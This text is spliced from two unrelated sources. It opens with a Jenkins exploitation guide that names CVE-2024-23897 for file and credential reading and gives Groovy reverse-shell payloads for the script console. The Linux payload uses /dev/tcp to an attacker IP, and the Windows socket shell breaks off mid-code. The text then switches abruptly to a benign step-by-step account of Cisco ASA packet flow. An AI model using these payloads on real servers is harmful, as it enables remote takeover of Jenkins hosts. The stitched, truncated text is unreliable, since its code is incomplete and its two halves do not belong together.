Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea
Scenario : So here is a packet initiated from Inside to the Outside [ingress to egress].
1) A user who is sitting inside of the network is trying to access a website located at the Internet (outside)
2)The packet hits the inside interface (Ingress) of ASA.
3) Once the packet reached ASA, it will verify whether this is an existing connection by checking its internal connection table. If it is an existing connection, the ACL check (step 4) will be bypassed and move to step 5.
ASA will check for the TCP flag if its a TCP packet. If the packet contains a SYN flag, then the new connection entry will be created in the connection table(connection counter gets incremented). Other than SYN flag, the packet will be discarded and a log entry will be created.
"Remember the 3-way handshake process. SYN/SYN-ACK/ACK. If the TCP connection flags are not in the order as it is intended to be, ASA will simply drop the packet. Most of the scanning/attacks are done by these flag manipulation."
If the packet is a UDP , the connection counter will get incremented by one as well.
4) ASA check the packet again the interface Access Control Lists (ACL). If the packet matches with an allowed ACL entry, it moves forward to the next step. Otherwise, the packet will be dropped. (The ACL hit counter gets incremented when there is a valid ACL match.)
5) Then packet is verified for the translation rules. If a packet pass this check, then a connection entry is created for this flow, and the packet moves forward. Otherwise, the packet gets dropped and a log entry will be created.
6)The packet is checked for the Inspection policy. This inspection verifies whether or not this specific packet flow is in compliance with the protocol. In ASA we create these inspection checks through MPF (modular policy framework) or through CLI using policy/class maps.
If it passes the inspection check, it is then moves forward to the next step. Otherwise, the packet is dropped and the information is logged.Additional checks will be done if the ASA has a CSC module installed. The packet will be forwarded to that module for further analysis and returns to step 7.
7)Actual Network Address Translation happens at this step. The IP header information is translated as per the NAT/PAT rule . If an IPS module is present, then the packet will be forwarded to IPS module for further check.
8)The packet is forwarded to the Outside (egress) interface based on the translation rules. If no egress interface is specified in the translation rule, then the destination interface is decided based on global route lookup.
9) On the egress interface, the interface route lookup will be performed.
10) Once a Layer 3 route has been found and the next hop identified, Layer 2 resolution is performed. Layer 2 rewrite of MAC header happens at this stage.
11) Finally the packet will be forwarded by the ASA to the next hop.
Note: When a destination NAT applicable, then there will be an additional step for that. Otherwise, the order of operation will remain the same.
